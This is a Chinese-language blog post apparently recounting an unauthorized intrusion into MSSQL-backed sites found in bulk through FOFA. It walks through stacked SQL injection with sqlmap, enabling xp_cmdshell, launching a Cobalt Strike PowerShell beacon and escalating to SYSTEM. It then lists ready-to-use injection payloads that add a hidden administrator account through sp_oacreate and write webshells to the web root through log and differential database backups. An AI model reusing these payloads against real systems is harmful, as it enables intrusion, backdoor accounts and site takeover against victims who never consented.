記一次堆疊注入拿shell的總結

Linksla發表於2022-11-10

菜雞第一次實戰中碰到mssql的堆疊注入,大佬們輕噴。

本來對堆疊注入沒啥瞭解,這次正巧碰到mssql的堆疊注入,正好加強一下對堆疊注入的理解。

堆疊注入

因為在sql查詢語句中, 分號“;”代表查詢語句的結束。所以在執行sql語句結尾分號的後面,再加一條sql語句,就造成了堆疊注入。

這種情況很像聯合查詢,他們的區別就在於聯合查詢執行的語句是有限的,只能用來執行查詢語句,而堆疊注入可以執行任意語句。

菜雞不會審計php程式碼,這裡就不貼sql語句的原始碼了。

下面是滲透流程
先fofa批量找一下目標

前臺的頁面 首先懟一波弱口令

其實有幾個是可以弱口令直接進後臺的,但是後臺沒有任何的getshell點

那就只能在後臺的登入視窗試一試有沒有注入了,抓包測試一下

發現有注入點,直接上sqlmap一把梭
直接出了mssql 資料庫 而且是堆疊注入
這裡想直接 —os-shell,想起來堆疊注入後面的語句是沒有回顯的,再換個思路。

ping 下dnslog 看看是否可以直接執行命令
看來是可以執行命令的


再換個思路,嘗試用xp_cmdshell
手工開啟xp_cmdshell ,發現函式沒有被禁用 ,可以執行命令

EXEC sp\_configure 'show advanced options',1;RECONFIGURE;EXEC sp\_configure 'xp_cmdshell',1;RECONFIGURE;
複製程式碼

嘗試直接注入cs的powershell上線
好傢伙,直接上線 ,看來函式沒有被禁用

EXEC master..xp_cmdshell’免殺powershell命令’
複製程式碼

甜土豆提權到system

連xp_cmdshell命令都沒有禁用,想來也不會有什麼殺軟。
首先看了一下程式,emmm 那麼多powershell程式……沒有啥玩的必要了。
可以嘗試溯源一波,下篇文章發。

也沒有內網,收工。

總結

這裡這麼順利是因為沒有殺軟,命令也都沒有攔截禁用,下面說一下如果xp_cmdshell如果被禁用該怎麼辦。

1. sp_configure函式

開啟sp_configure函式的命令

EXEC sp\_configure 'show advanced options', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp\_configure 'Ole Automation Procedures', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'show advanced options', 0;
複製程式碼

執行系統命令 注意沒有回顯

下面的命令新增一個影子使用者並加入管理員組

declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp\_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c net user hack$ 0r@nge /add';declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp\_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c net localgroup administrators 0r@nge$ /add';
複製程式碼

還有其他的函式,這裡就不一一列舉了。

很多情況上面兩個函式並不能執行(存在殺軟),mssql資料庫可以用一下兩個方法

2.log備份寫shell
前提條件:

1.資料庫存在注入

2.使用者具有讀寫許可權,一般至少DBO許可權

3.有網站的具體路徑

4.站庫不分離

而且這種方法備份出的馬子體積很小,備份成功的可能性很大。

步驟:

1.修改資料庫為還原模式(恢復模式):

;alter database 庫名 set RECOVERY FULL –-
複製程式碼

3.建表和欄位

;create table orange(a image)--
複製程式碼

3.備份資料庫

;backup log 資料庫名 to disk = ‘c:\\www\\0r@nge1.bak’ with init –
複製程式碼

4.往表中寫入一句話

;insert into orange(a) values (0x...)--    //值要進行hex進位制轉換下
複製程式碼

5.利用log備份到web的物理路徑

;backup log 資料庫名 to disk = 'c:\\www\\0r@nge2.php' with init--
複製程式碼

6.刪除表

;Drop table orange--
複製程式碼

差異備份寫shell

概念:備份自上一次完全備份之後有變化的資料。差異備份過程中,只備份有標記的那些選中的檔案和資料夾。它不清除標記,也即備份後不標記為已備份檔案。換言之,不清除存檔屬性。

用人話說就是:第二次備份的時候,與上一次完全備份的時候作對比,把不同的內容備份下來,所以只要插入我們的一句話木馬,再備份一下,一句話就會被寫到資料庫中。

條件:
  1. 有網站具體路徑

  2. 有可寫許可權(dbo許可權以上)

  3. 站庫不分離

1.備份資料庫

;backup database 資料庫名 to disk = 'C:\\www\\\...' with init --
複製程式碼

2.建立表格

%';create table orange(a image) --
複製程式碼

3.寫入webshell

%';insert into orange(a) values (0xxxxx) --
複製程式碼

4.進行差異備份

%';backup log 資料庫名 to disk = 'C:\\www\\orange.asp'  WITH DIFFERENTIAL,FORMAT;--
複製程式碼

5.刪除表

;Drop table orange--
複製程式碼

這些都是理論,實戰中可能被各種過濾,還需要修改payload進行具體繞過。

相關文章